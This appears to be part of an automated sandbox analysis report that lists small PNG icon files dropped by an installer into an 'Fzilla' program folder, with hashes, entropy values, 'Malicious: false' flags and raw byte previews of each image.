SHA-256:	2E61CF4440B02B404E6FC16865A8604E0F1234290107CBD701660B6A0FA87294
SHA-512:	110CC80523CE6243D1D5F28B5409068D9D9B350AE95806342CFFACC6F37E4C22EA319D3491AD3556AE19F94E72D2231B05C4E6AF82C4342D1F4E28C076980487
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz....VIDATx...xcY..O.m.;..M..dl{.&....m......v..Y.Xo..y.{s.....?P.!U..M.P..9.ob....<..4Q.z......^...G.i6-..^.....No7..A....G.P...v.]a..[....y.nx.J.J..;.oc}.5.].....1.x..n...W\...Bt......R.:..c6}...._..7/q...X.......X.,......-...K.....g$...5...^5 .......:t...6a.g....@.....I.9.+P.z.F..BWG.c.Z .'}0.c.z.........p"..>}..G. .:.a..X-<.!kc1i{..l...-q..=...5.E..e...].14.%...(.../y.b&4....4 .k_.&..[..........q...t.../.....qs.qA....I...S.D....@_O..6m.fj.d3s$.`.G.x..gP.9.......9G.`.}...cp\z..V.}.eL.G..3E.l.u.....h.....H21.z..D.%...JV........1....'..d.' ..x..H....RQ.....Om..\|qh...)...}.h=-....jO...R.L...._+/. F-?...H...bzP.SA-...i...S.5Gyb\....MW!...SR...T.~!;....B_..Z.o..f=..0]R1.TP.P..:!\|.S.g.R..Z.0{>...s$%.8....)`y..{sw..g....3..).;;...5....PAM...Ds..n.B}....z............\|..I0..U.\|.1...cR........+.]C...B.F...Y...B...!8M.3..?......`2%...k.C.....=...":..?D....8p.;...8;;C.P@ ..%e.e....^.$....%.....b..R{..P.[l.%.....

C:\Program Files (x86)\Fzilla\resources\blukis\32x32\symlink.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit gray+alpha, non-interlaced
Category:	dropped
Size (bytes):	188
Entropy (8bit):	6.307189258039723
Encrypted:	false
SSDEEP:	3:yionv//thPl37gxIWkVaXkEvZaSumMjlQGasFrWM9pg6JbKja4tlsyeeB1p:6v/lhPa1kVaxvkSxMj/nFrWM9VVKjaUR
MD5:	08295D744D44989A68AC6398CAD3328D
SHA1:	1D5A794A8BCE1C5BE0CA2B3514E2F0D439AEBAE6
SHA-256:	52233AA5BCE166B569A5E95B29F8915441289EEFEC50607BFD24BEDE7618523D
SHA-512:	17916CB6ECC9337BC6ABD2DA9C756659620DC23E6416E03717C7665373935FF0FB63FD8A7484E4CF04E79992C30A2BA60664DB82AA754794FF243407402469FE
Malicious:	false
Preview:	.PNG........IHDR... ... ......s......IDATx.c.O!.3F..5`.Q.<..@Fb......./.1........?.................j...'...@/e.l..I..+.Z..3.......``.!........j....G.K....\|A@..C!/..(.Nc........IEND.B`.

C:\Program Files (x86)\Fzilla\resources\blukis\32x32\synchronize.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1176
Entropy (8bit):	7.751035261431217
Encrypted:	false
SSDEEP:	24:xdC5goZhI1MlSSsepVMRbsBvU/KhWl0qjKd3oO5pAaUD7rlm4dessgQq:VoZiMTsbsB8ShWWeepZUDHFdeER
MD5:	F7B283632AA3E62BDAD4C1B435F93F26
SHA1:	A4D9BF01339096CC5A105D3D90DCB6528704D833
SHA-256:	F52C6A7A9F0E0985ACA052C7B24809050C389C9DBE1340A604EB003E8AFA8856
SHA-512:	D30EA364A0562C233FF26B1DF4C13702B573642F6132640BD8DDB27F122249DA76B966A5A752425FA1EA5385AD5ADCB715D2222725166037C15F5C5B061243CF
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz...._IDATx..V.7G../..<..F.m.m.m.~....vj............".K........ //...g.4...rw......8mxyy.......................`kk....[VVBKK....Bsss455A..#...G.........o....pp........Vi~~.:;;.........aa!...........F..k.t....x...==....;7.sp]]...t.ts...........XWWG...%b...Y.,......o........@EE....Bff&RmmM...j....8.es..ijj,9...[PII..[[.R.X.................x.9.........) .....w55UC...u....8..">5..h?...UV.s...\....411N..e..wtt...\|--.'A.bPP.54.s....PHH..FFF/..nmmY......G:..**Jw:8..^RR.B.s..8??....v@.dRR.W##.....)jii........lmEE...]]..sr.....n.............>...../....N(....2.....!...>..5`mm% ...p............p.......{2.../EEEp.677.R1...m...}.2...QI..$C\|A..@.n.....p...AB.....l...X....whh...VbJ.B..jKP.k....%Z\\....E.....?XX.....$_..$...}F..e_QQ.(.@.....I....#k..!H77.211....-##s.`u..G.....gff......l.........C@..Hee.yV.VV....?........Z..G'.a..n.A~....(....5b.....Y..1..33.....@..:....K...Naa>.@UU%..........VUU~.A..r?..1....@FF:...I.$...Rx~;((

C:\Program Files (x86)\Fzilla\resources\blukis\32x32\upload.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1106
Entropy (8bit):	7.7526454714778685
Encrypted:	false
SSDEEP:	24:Mf3f8cfu5ft3oC+Drv8Fy3PayhzXYzXSasHJgy019JUfB/m:MfENFtYC+DrUkzp0XSBHJgy01T
MD5:	283073C3DA0BC7EE74EA49E810FA216C
SHA1:	8C6A314D0B693A4D83663EA1A35234FF0F7B64F0
SHA-256:	A2AAFD72FB4CF2C956A8C80D780C552AEB69E5A43C0320E8F587158494650D7E
SHA-512:	3490AC6167CDA5739F9FA5C4D17EFA44655C989FDD2F18631B88C9D8E08CCE78C307C039A97B616DAE600BB700B1DFAEC293205C1C841F57FBD3886C32A6801B
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz.....IDATx..c.3W.....&.L..v.N..mc..~.m.m...S{U.......^j.5@.oT.8..7..X... ....b...2..bN.U/..S/.......R.[..`..Pm..0....O=...~O.....9v...h...PV.}\... .}\1.y..t9.u.....,...K.....,:..#...z....ep..?...-r/.#?.^{.K.h...$F!.u..s...y...O.......\|.L<R.....3..vp..c.J~P...s...7.TVJ.........>J....x...!r.&...#..5j.}....W\K......R...k.\|YQ..x5.{3..^.^d..I:.......~.....!..L.F.bS.n..w=...M{.....e.....V6.U~.t.w..+.c5H.d@..q..^....!@..t....i3.n.V..m..Q...5..s...I!-..s.y...n..3.P......E...5.....x. .D..D.\|#.l..w#...x.cm...d...%.hU..=v....;#...@..8..+T.1...o#p.7W...!.8.iD.P..H.ez...ns..YW..}9..n.:...WG.k.z..C..9.f..%.!.9D..D......$.z4.&.{c...>...Z.m.p.4...o\|...l.6...%#z..(. ...0z..(.N..[.p....."k.)2...p..2..Q.q...D.GT....U.H.f(........#v...f..B..7..l.0...........(^o..-..m.:...3........Rg..I.c...Z."a......F.Yb...- B....jd.\JyU..w.:F.78[....K..zV.?q.."....y..P....R.f.Y.".{.=..).....o..x...d1m.........f...2.....U..Zl#z.L5... ?.

C:\Program Files (x86)\Fzilla\resources\blukis\32x32\uploadadd.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.835880693565033
Encrypted:	false
SSDEEP:	24:K7h1EXrzSPLvQZhAemVTKjn7qGqOLkuW/mj7fYvAhbKmMccw2zwy8JSeTW/t2WN:nXrePbQHAeiO2GLLzW/mj7fT4Fc2zn8o
MD5:	C2DA077B823D446D6AB5F3AA63BB427F
SHA1:	ED9511230B40FC02E97EFF115AF5C9878025FBF5
SHA-256:	84C53D562B5D1220C722EB128F2CFD6D861114188851E8BA76E8B3811AB6A35B
SHA-512:	830DE8BDE454D479B96E2F574F545A8E7A08F44F5A5C1FE5FB8EC7CA435720359B0FEB94E5F49A7DBDCE96A9D32877FAB12EBA80228194A570091BF78FED3D2F
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz....6IDATx..cxc{...k[...k#....F..O..L..V..m..-.......<......fN...C..I...__.7.x...T... <<.$}l.$.x'##.. .....xJ ..=..\]]..j...d...\|\|\|N....O......Q\|..h....n..........)..q1a........N...L..."22......B!BBB...a4....\|...(........UUU...DYY.......?."...PQQ..OKK;..y..........={.,....?...?svv......E6.........6??.6R....Y.<$..........Qkv>...fN.q#.>f=..;.//.3..[.F.'..c. .Y.r..Ed}.........(R...l..2...S7B....&R....2c.c.......9...C...\.V.~..U\|...:Di..R..p.\|dY&.?..$1..Pa........B:h.......].E.Y..X....o9...7.`.<D....Z._.0.%.J{Gh........k..,.PC....0y...\...9.%;.`....iM....?&U....r.(7....v...E.I.GcJG..0...../...:... .b44.S.i......1:..S.. .......Mi..fj>.[:.!.C1@......).3..'....VD..@B.8....<........)rK...U.....c...../....P......f6....r.Z.p.U...O.a.(....\?.#..@.e..c.n..{.=x.\|......LB.%.X.3.......y.h....?./...9)......MaX.Qu.`.<L]....<.;J.{.A..d.;{.l.Pp7\|.7Q.`C...8C...."....."..gj&/.M....MX.?...'..<.{.\..=.~..w.{O.......

C:\Program Files (x86)\Fzilla\resources\blukis\48x48\ascii.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2418
Entropy (8bit):	7.909236924067308
Encrypted:	false
SSDEEP:	48:3dFFKHCJfMPRNU4S9/gKrE6IqghyrIF7QUryLUMtF7HRWllm87:3dP3JfuNOjjIqCyrISI2UM7xWllm87
MD5:	F0F5758E14405F8C8BF3FCB1085FE95C
SHA1:	8F5D5FA5D1FBBB9BC612D594EABE0B54679F3AFB
SHA-256:	F0E65D482B65359CFC9357BF0E780238888ED77253011EEEA8C3AD00B9544502
SHA-512:	48BAFC6DD5399BB831406C03BC5374B6D7C2BD68D572C2686EC7949DAFB66A379DA9EE9135A2A7A774EDF292778B9ED9B4800463BEACBD9931CE359C5EB0E787
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W......9IDATx...p.I.@_.d....13333333.9ff.....<f..s...jg..T.r......v...7..EU..................S.Lp.U...c.n..{.{..m.e....G,........x..Ba......-..=....9../.BE...$.,...-....o.._n8s..O3...&..5......6I'<..I.!......v.a........On..D...&.?xF..\|/.....$.Z..P:......I.....3f.......$i..v^k.xh..?..f.....Zr..0r$..:..?.^..G.R.B.}8..R,/.Df8....&3g..g>).,...AY.11v....r..C.ML}.GM....P7...[]..W....$P.,..B.C...x64[..,..g.b..Q.`.9.n%6.d....'.9kV..@s.x....X...cT]..I.os...s...^#d.Uv.x&...J..9....7/zD.R.T_{..>...=..........\z..%..M....#.~..d@....^M..MN}...[.Opuuu.>.%.6....#...YM/B....3:.\|....{.H..<....7...........V..S^7!..(b.Sl...7.]....w.0...j6.rK...k.f..&.nJO.%BU..g.ud..h.."..\|.4.5yBa.CX........0.@Y..~..*+9....M.FO.@. ....Bh..8\|#....,.............<.T.nS..<\|..A.JO...c.=.+o.....Tz.Y.?1.{......"...2..g..$t;}pk...j.......^...@.H.P.Vb...-.\|..u....9...X}.5I&.......BO.I,n..%b......+.O(.`..{2.Xgg......g..E..B.........v.BBk......c.....$..

C:\Program Files (x86)\Fzilla\resources\blukis\48x48\auto.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2733
Entropy (8bit):	7.904291926606656
Encrypted:	false
SSDEEP:	48:b97qz8/dKdKgEu3RtDFR1ClZF3zRv/a/EP1s8vkf6NwG6dJHK7Vbq5EKzUVLijft:bJk4dcK7KxR1ClHzpSqcfDG6dh+M5uJa
MD5:	924347274EBA9CBF4B63FC26726A1D8B
SHA1:	DA095A7540A58DF1DD6425A63C5916E0E6D397D2
SHA-256:	095DD0FBAD7491167D397DDF6441931D2CB5A084FAA223BD136D759380778BCA
SHA-512:	C0130398EA991135F8E597F00B31D3D90D71E3C8B65C138A35559DD69EF5CC752ACDC7521F456FF4B4694B7183D4BC9482CDE6EE8E5B543FE9A89BA3C92A564F
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W......tIDATx...t.I.......\.aZff..3..33.2.33..2c..?.L..df[4.]..............a}.......\\|..oy..X..x.."...3?.0{.Z.R@.3.}..d.......kq[.....=qoI.j$.JQ.N..r. ....0'...L..6.}0..}.) .,}....o/K...3...F.DwVSy\|...A............(..H6K6.g..Hlj.c.D....2.jn~2"t..3.%=.f.........u..H..t.\ ..S...d...,yK5.^>.S.N#F [t..-....Yi......k..L.`Rni..W..3..`.t.t.l....3..;......]{qGa.j`...O8{u#N....BL.p..-....>...q..@..._).......O....S.U.S..7.S..R...o.c.........R+.5...$...Z...../.l.7\|..." c.{....H...U.k...C'\|..\|.~.,&.R.J>R..).;...Z>wL.........\,%...J.4L.../^.6.G...{[.....p...vv../9.......n4.".?gA..&..EKAE.R&......".../.@D(#..G..w?s.hA..1hi....Y..9...Z]....:&q..D..N_r..Vp..Ub... .........9:zzw..0.g>.>2.....30.=.?(....\|.%]..ln..n...o..y[`Fc".aa_[.u.&..A...Y...w.y.:v@.Y.'...F..... H$H%.v............m.5.'"...D@P..Y.J.c..o<...xq....U.e....PU.2r+....e7.........G.6h..OA.Q.XB-8.b.E....a......H..f.D..Z%.>.R...0....Vf...0br..d..{UKp.t......*.H......t...u?....5.

C:\Program Files (x86)\Fzilla\resources\blukis\48x48\binary.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2277
Entropy (8bit):	7.8762797330707555
Encrypted:	false
SSDEEP:	48:XILAWNE6dHZ/a8cLzffDRMbeiqoGhVToxmhu06GYhTpb/eUCa:XPje7cPjRM0oooxv0C5pDeUCa
MD5:	23A970B367AD89FE98FD71BABF791094
SHA1:	931FE4C1DA95C9E3FA75683722914AA547D568B8
SHA-256:	BB91A6D5EABF4AB5B376F7AD578CFE4879B19650F1DC3389903B0FE9D1C11988
SHA-512:	BF22525D419F0B6ADEE1344AE7CA67DBCC28860CA498B2BE36B5763121A401D5D45615FB68A33D9180FBE3BA0DBCBC4B5BB3A9D40C225ADE69D78F0B543EE184
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W.......IDATx.....cO.....d2;;Z.c.m.m.m.o.m{....}.L.V...fSx1.....t.:,..m...MO...[.......U.8:$g....:trC..;. ......n:..d.Q.&...^.\.{{.P...l...5...j..I...P."....D.Z#.2nq.....\|Bl......Exf'.[.;.P.{F''i8w...{.."1r.[..0.....Z.2?.Y5I.!.vB<.&w\.[......5.......\...3...ax....BU...jL..t$....\.....`...k0g..e...X.v.G....z#..k3......q.\|..Y...c....."P...g..n..=...(......."f.....a7...a.......-.8.b...P..X.M7..-.^..cG..L...P.=/..Co.u..=...".....2...gE.9..q.{.....K<....2.x.j...3V....X.1J.1......qIi.\......^.+.+Uz......=.....".........UP...n...T...Y..R.....t..Co....8....WP.(.^=.../.A..0G(.g.......V.1.jd.ze....y.U...G....u._........rl...'91..`..4.....l.'e.@...xUT=63.Sz....>].".(6Ho.-yPA[U.G......sW.4.O!0.C.?.".cn..;.!@.M...@w_..B.T.;.J...E.....v$e.<54..c..OETe...y..n.XUiU..o..2.yU...R...{G.>u.P}....Q(.r...lf..P...E}+#.@m....f.....\|..s......+v.2/......_U....y>p.i..).S?.....B/....w..i{e>.b.s....=KB..&..1;...@.....[..&

C:\Program Files (x86)\Fzilla\resources\blukis\48x48\bookmark.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	648
Entropy (8bit):	7.482731600175207
Encrypted:	false
SSDEEP:	12:6v/7r7mYuYPUJs/0AQHdMmxmKzVHdWrgzPWBtJRzMCCNMJGr0OEhyN9/+kXahopF:cEYPoU0AQHdMmxZztwszeBtGYhk95Xai
MD5:	BA95DC4223903C4D79221308B9933527
SHA1:	70BA3062582D584605897B25A00F1D2AB59625DC
SHA-256:	073A415017A07653662CA8D62A23EC8B96FE0A306225DEEE608BD4922E5C89CC
SHA-512:	2D6F6668FF002CFAD46EF20EE0D548CAC04B97F4B9A92B6BA5F86045B295C19A232A793652FD1FFFD02D95BF48BD89814A52E3DA8094A1E28142B911482CF8AE
Malicious:	false
Preview:	.PNG........IHDR...0...0......`n.....tRNS........y"...=IDATx...c.\A....m..+..9A... ....X.{.f....z.g\|mxn......c..........+;...5...n.2`..?~.C.$ TWU#" .RBZ........Hk6..xv......U.W\.jim.....D#a..+K.f.@Z.[...._.E_.......Mh...f.])....f.@Z.V.y..>"x...>...[ZZ..m.D..>f^.h.2u..c..k7...>....q.DD..2R.*_(.zvB...].`...\^.u..C$Ea..^1.....=.U\| ..$...-.L D.....4.c.CB.....b.. +..N.&..(......-..,I......q.O.....}j..?S#.[..........L=.%.c...SS.a......Q.i7k[f.RJ.B.......;jj$.4....vv...._[f.(...........jjn...Rfh.....H.x.)...%.Y...5.0fr.j..9S.i.m.Cwm..P.el...(k..bRc...6..~....2..jh.S_.F&.,.$.1L\|14.Y#.g.5....r@C,.....;<....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\blukis\48x48\bookmarks.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	648
Entropy (8bit):	7.482731600175207
Encrypted:	false
SSDEEP:	12:6v/7r7mYuYPUJs/0AQHdMmxmKzVHdWrgzPWBtJRzMCCNMJGr0OEhyN9/+kXahopF:cEYPoU0AQHdMmxZztwszeBtGYhk95Xai
MD5:	BA95DC4223903C4D79221308B9933527
SHA1:	70BA3062582D584605897B25A00F1D2AB59625DC
SHA-256:	073A415017A07653662CA8D62A23EC8B96FE0A306225DEEE608BD4922E5C89CC
SHA-512:	2D6F6668FF002CFAD46EF20EE0D548CAC04B97F4B9A92B6BA5F86045B295C19A232A793652FD1FFFD02D95BF48BD89814A52E3DA8094A1E28142B911482CF8AE
Malicious:	false
Preview:	.PNG........IHDR...0...0......`n.....tRNS........y"...=IDATx...c.\A....m..+..9A... ....X.{.f....z.g\|mxn......c..........+;...5...n.2`..?~.C.$ TWU#" .RBZ........Hk6..xv......U.W\.jim.....D#a..+K.f.@Z.[...._.E_.......Mh...f.])....f.@Z.V.y..>"x...>...[ZZ..m.D..>f^.h.2u..c..k7...>....q.DD..2R.*_(.zvB...].`...\^.u..C$Ea..^1.....=.U\| ..$...-.L D.....4.c.CB.....b.. +..N.&..(......-..,I......q.O.....}j..?S#.[..........L=.%.c...SS.a......Q.i7k[f.RJ.B.......;jj$.4....vv...._[f.(...........jjn...Rfh.....H.x.)...%.Y...5.0fr.j..9S.i.m.Cwm..P.el...(k..bRc...6..~....2..jh.S_.F&.,.$.1L\|14.Y#.g.5....r@C,.....;<....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\blukis\48x48\cancel.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	1983
Entropy (8bit):	7.879204797755092
Encrypted:	false
SSDEEP:	48:OHfRrGBgbZWmI5JZWJrNidcNeRd1QHnfHkcHOgxhT:0Rrigbr88zi2e1QHfHkk3T
MD5:	6136C1F640BCC18CBBD83ECBB2B5B829
SHA1:	ED838F8D92B401AB21C540D1F207583548BED1EE
SHA-256:	1DDDA9311F9C70C3A4029A274E9B68E252489260742B9A4B4B4D327C600E6041
SHA-512:	0B11C1E6D92510193AA70F9D2EA1CEB3F42151220CEC5B6373D5879D9C5969A58348BA133E42AC7C3A831414A5EE0A0A6F780EF107044EC6B56BA069D156032A
Malicious:	false
Preview:	.PNG........IHDR...0...0......`n.....tRNS......n......tIDATx............^..:6js.g...l.......6k..%....W.Y{e%.'9....{........vs.p0...$a...'.%....}...%.....ph..I...c+............~`..)=..K..w..._.4.../.:..t4;.H...~....._~a.....<.31.#:.#&.=&.}gllW\|\|wbb..w.`J.i[...2..o>c.....0.y..^....o...........E..._.f%C...7.....&4...0zt.Q..Mc.6....X...J...Z..u....]..X0.-6.q....#....2.z....kz...!Cj....1.ap.-B...wq..M...y4+..C...%&.....24."8."(.<0.< ..@:.......4.a.#G6......S........j.'.G..p......P..Z..T.._..[..]..S....\.'....\.b.O......tL...9........L...vv.^^..{z.yx..Z....E..X,i..C..{.....U.&.D..v..4.v..&..2.g.Thxt..W..S...g..W..V......B.{..\|.)..a...8....:..COT...v..3.9:tN.......&R.7.l].l.U]o.)1Y....{a..1....-K.0l{z.J.....&IO.....D)vvw\.P..~vp......G..A.Hx..c.)L#....a.Z.zi8Xc2qq.9...3.......w...........\.........Sd...5..zJ...l{{..\|.9..~.._.....z=2G.U....EF.q..fw.@.d.m/=...{H...>rt..W^Q.l~.A\...M...+?u..F.F.-......Ic.n.K_...A.E=..).I"w.5Vk.V...{..w...4

C:\Program Files (x86)\Fzilla\resources\blukis\48x48\compare.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1996
Entropy (8bit):	7.857779041794649
Encrypted:	false
SSDEEP:	48:LYxO86YmmFIRqy70n4Tpve4RcvNJAGhVAtNHLHI5qF5:kQrmSTpe4AJAGPyJLo5g
MD5:	C55F018B6ED23C4F94600EC41CF3C0D5
SHA1:	80C39C4C62EC96231BB882782BCB2F625FBE0F26
SHA-256:	C74AF9EBA87BD964B7564B98C0BE0A50461B2B9DB79B817402D25BE4974A88A1
SHA-512:	B881AD1334A9BCBF8D724F7BDD4947AFEE8F5C41BC2EA1DF30CA7384AE4C284CAE62A6D1CA68CCE18DBFA0C9D14813915A5FC247D0EB14CBECC89867D406F0B4
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W.......IDATx...p$[..m.m..>...mM4.d..^.mg....;.........=}g.../....y..7.\|..\.b'...^@/p..t^2LL./N......B`..r.l..c...!pvUU.U...W2...n....144...K.../......"......../....A..5"..c..$...p..F]].6m..Q]]..WTT...D..'"T.&...=.FF..P.....kQ[..q!.....=Ew...6.v...a...........=..F..b.---...PK>G..gD...4@..ZCj.FH.....?#I./H...2.0Pz.......gff>)H \.)..Gcn..sS.j.j8f.f.......a.d>_..$''.oii.......C.T....r]pp...q.........%%%GI:99].H..$`..(.0{.....0.K.C..80h.=.[....."~.....&.7.i./...dy."d...0;Q.........q...:..C#.....;.b..?.k_../........^u.......-...I.V3dF.o....k.Sk....0..&.7044. .h....4.E...-((....p.O.....Zha.W ....,..;R......`o.9vuo.H.RtW.....V.%......kA..IL......._@...Z......v.n....m_..............4.~.../0.X..[}....M...M..<..]........8Z.1..(..u....4.....Do....~.!.=..F{.W...............i....m....l...g;7.@..c.6.....m+1..C-.....>L.6/&..Vsmg.f.y... ...._...~W ...f^..w........\|NP.@m......A.u..+........).. ...n..`.uPK.......

C:\Program Files (x86)\Fzilla\resources\blukis\48x48\disconnect.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2905
Entropy (8bit):	7.933926612224345
Encrypted:	false
SSDEEP:	48:3DbBoHfCMr0S0Vf3IYHLyH5tUMDQZrh3k+nQ57GY2T26ApWVSXAtmkxsTIn9z:3DNojqxIqL8muQZreVGY2T26ApWwQEkB
MD5:	C38C1EF6EF5643A869E4D19F08066A68
SHA1:	D094EB4D1211D2185927AC8991520212F54837E2
SHA-256:	C3AE3774EBD8E3266140102F8AE4AE67BF6327F4C5B077C18D3886E945139E94
SHA-512:	9D55740B9E24807B8DCB8C5AECCF0E49CF6CEACEB8F3A5EE59C0A6D33B3E34A37E0AED732D63DD6AA07F4B8CC8C1F8204D8A473CD6CA24E9D6D0D603BDD0B345
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W...... IDATx..W.p.Y...V.X..&..c..m[....v..x6.............?.....o.C4.... ._N..'.w.}......)2e.......:...._.V...)..0..a..NP>l..`...n....i..`..~mU(.$..ygU..5..,5...G./. h(...7.Yx....rO@.. .i..R.p...$..%.8.v%...3..j..7E....(.Y..[-(.....{....1y.>..o..V.B'.a...v....\.VB.c.6g.^.>.r..p..o.......r..u'.....d...).t.".\.R..".t.l.Y.fN..YV...w,.y.sS.!.d...".'..`.... .<N..;c... 8.~......&.z..<.Z..l{..s..n. .L.\f.P...H\|7..t.@L;.Gw.Pl.....8%.....!kp...l.~........'Y.N...& }....B...YG8.}......V..k.`.g@....i)%.{.7.S+.+<\.<....4.H.Z3.......9...^.....o........Y..%.Wp..P..R.....c.BW." ....kO.<w.F..b;..D~k..l.h...:8LP..-.'....h[..X...F.Y.l>..f.&..P....#............aR...;M.`......K...}..V.y...........N...D.z.:"..;......).xK..S[..J...........W@V>...).F~G@=....@J..Z./..EX..k.\|...{e.-Tk.C.._.s.u`;..9........3Z.....GU?.fZ.eW.D.SP..2...Z..[..X.-bI...E30.....+..[.O`.u@.......C.u.Mn...`...9(*.A6X..s:..%n...m....q.,!1.N.0t.h..3..;

C:\Program Files (x86)\Fzilla\resources\blukis\48x48\download.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2005
Entropy (8bit):	7.877373103536374
Encrypted:	false
SSDEEP:	48:+h0Tl+ek5SeK3GEGrhrYW2J+4EEsIwUR6kL/BqUMMc4CHsEDXTqx:+mh+ek43GvrhrYW2J+4MUwcqUMMc/H/G
MD5:	309698AFE2B6DDEF3E1117EB53D969C3
SHA1:	286F1832883CE58576A221CF42FAE815307C0C1C
SHA-256:	869ACB4262F5792007870D5A6D58AD687B750F7D8DA23309BF3FFA9DAB949187
SHA-512:	1979ECE952EA589CAE052959C53038EE8B8BC676D82F1662EC33EC9954D8589BBD944C5E82D8667B8CC97F83A5B2EBD8DAB2CFB24AB1B66AB21E9E5D8E82501A
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W.......IDATx.....i.....$.3.....e....h..m..n.F..X...3;..z.9.....}..F..9r........U,..\|......8h\:...........+....Ykt...^/.9.=^Y.@g]....<x...4.-......9.`E......tm..k.z...._".......dBP.&\.7..8.:... ^.`..........q8\.}p.u.-...(t.%.>..\.myS4...u........xY..0Vw.[..:.L\......m.....us....._}......>..pIe..l..Q.........E.. n+[$yCI}.."..]....:.V)...Hx.I,.R0..o.L......y3.DsEK.7w..tN.....G...?..0Q...}.g.".T.....$...p...k.H......_.......[&.Z...&.....n..h..H.pdT>.0..p..W....h...%7#._.............B.R....\|r.?.<..^G....H...t.O.U..:k)...!..6.....k..w...........iK.........@c.G...C.A..a65...4...:L.BEs.?5.y.e%.}`..d............x]u4..\p......6..!}.P.E..k(.....D4z1.S.....d21..#.A...`t...VG.0..o...>...x................X.b/)(.......b...T2.....E4.."%:.Q\..l.".dv.....i.......j6 .q.0....)..1..W.E..6.o.._..k@.......+..sK.i.H.f.8C..r. .Hc..F.=....j...5<.n..q..PF.8Q.+......(...~.....8..4.<.~v.x^.X.j..0X.df.[.......L.....a[

C:\Program Files (x86)\Fzilla\resources\blukis\48x48\downloadadd.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2577
Entropy (8bit):	7.913838494207273
Encrypted:	false
SSDEEP:	48:P4FKEWyPnIVef+8cJJ/qxnUG5apR3/Cx3TDwEUbVvPh4+qu9zBj6G2fl0AFAHsaA:P0KEW+nIUfeJdSVapR6huNhbBT6GHAFh
MD5:	5C23C4F4A5BA59F1D3FA273AB1A7C13D
SHA1:	EEAF8C9C2D0C6F79094B40A0EE6C6F9364AE4168
SHA-256:	641DAD2CA989390408618D30137422CA5455B874D794C3BD0DE361F150003549
SHA-512:	04A99722A9E138A7A981A4F00F9D233A5F89B003CE010CE62ED8B1CC69ED643392A0ED1581E1E278063A249B8313E3F5F4B84CC7B7EA6B2B71E6E00D16DF19F4
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W.......IDATx.....A...............5.8<....W.xr{.T.+.n..0.U.t..y....p<{.L..........FFF.`.6.<cbbNNMM9....\..............233...#@mmm//G.'a.........E....UPP...:...X`v.@@......p...z....Z.........A..y...t6$$...%....}..jkk.............>....M.;.........YMOO...BB@ee.RSS...".oqqQ..{W.._.M...E.........)--M...++....O....w..O....GGG......vvv...M....Tvv."##......@e....~...{kR.[...........)//...q...+::.c.;08p.!.....&.LZGoo.....@..........X....\...CCC..[R..K.........]]]...]f.1......\|.7......C..O.s..x...u.2......\\|.....f....Ma...0......`6.b...ZZZr....?^%.l.."=VWW]...b.a---.2.fw.......:..t...(X08v.<.......0.......(................C_....\|l...$Y.(<^.>X....]].Oc.V!.\......R..m<.....a..8..(../..?i.$I.$..%tu-.[......,?..$..}...(.,..3z...t.p...c.........y.-<...zb......JK.e.k5t..~.=\|\/....&D..'Ig..U...I..B....kE..q5Gv.(.,..S..o..O.....#$0.